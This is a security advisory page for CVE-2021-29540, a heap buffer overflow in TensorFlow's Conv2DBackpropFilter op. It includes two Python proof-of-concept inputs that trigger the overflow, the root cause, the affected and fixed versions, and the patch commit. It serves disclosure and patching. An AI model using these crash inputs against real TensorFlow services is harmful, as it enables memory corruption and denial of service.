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1498 severe, 6 weeks · 326 projects

TensorFlowGHSA-xgc3-m89p-vr3x

Heap buffer overflow in `Conv2DBackpropFilter`

TensorFlow

CVE-2021-29540 · Published May 21, 2021 · updated Jul 8, 2026

Low2.5
Fix: upgrade to 2.1.4 or later (4 fixed versions below)
GitHub advisory

Impact

An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:

```python

import tensorflow as tf

input_tensor = tf.constant([386.078431372549, 386.07843139643234],

shape=[1, 1, 1, 2], dtype=tf.float32)

filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)

out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],

dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(

input=input_tensor,

filter_sizes=filter_sizes,

out_backprop=out_backprop,

strides=[1, 66, 49, 1],

use_cudnn_on_gpu=True,

padding='VALID',

explicit_paddings=[],

data_format='NHWC',

dilations=[1, 1, 1, 1]

)

`

Alternatively, passing empty tensors also results in similar behavior:

```python

import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)

filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)

out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(

input=input_tensor,

filter_sizes=filter_sizes,

out_backprop=out_backprop,

strides=[1, 66, 49, 1],

use_cudnn_on_gpu=True,

padding='VALID',

explicit_paddings=[],

data_format='NHWC',

dilations=[1, 1, 1, 1]

)

`

This is because the...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.1.42.1.4
>= 2.2.0, < 2.2.32.2.3
>= 2.3.0, < 2.3.32.3.3
>= 2.4.0, < 2.4.22.4.2
Details and references

### Impact An attacker can cause a heap buffer overflow to occur in `Conv2DBackpropFilter`: ```python import tensorflow as tf input_tensor = tf.constant([386.078431372549, 386.07843139643234], shape=[1, 1, 1, 2], dtype=tf.float32) filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32) out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1], dtype=tf.float32) tf.raw_ops.Conv2DBackpropFilter( input=input_tensor, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 66, 49, 1], use_cudnn_on_gpu=True, padding='VALID', explicit_paddings=[], data_format='NHWC', dilations=[1, 1, 1, 1] ) ``` Alternatively, passing empty tensors also results in similar behavior: ```python import tensorflow as tf input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32) filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32) out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32) tf.raw_ops.Conv2DBackpropFilter( input=input_tensor, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 66, 49, 1], use_cudnn_on_gpu=True, padding='VALID', explicit_paddings=[], data_format='NHWC', dilations=[1, 1, 1, 1] ) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in `filter_sizes`. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. ### Patches We have patched the issue in GitHub commit [c570e2ecfc822941335ad48f6e10df4e21f11c96](https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

CVSS 3.1
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Severity from
GitHub (reviewed advisory)
Weakness
CWE-120, CWE-787
Also known as
BIT-tensorflow-2021-29540, CVE-2021-29540, PYSEC-2021-177, PYSEC-2021-468, PYSEC-2021-666

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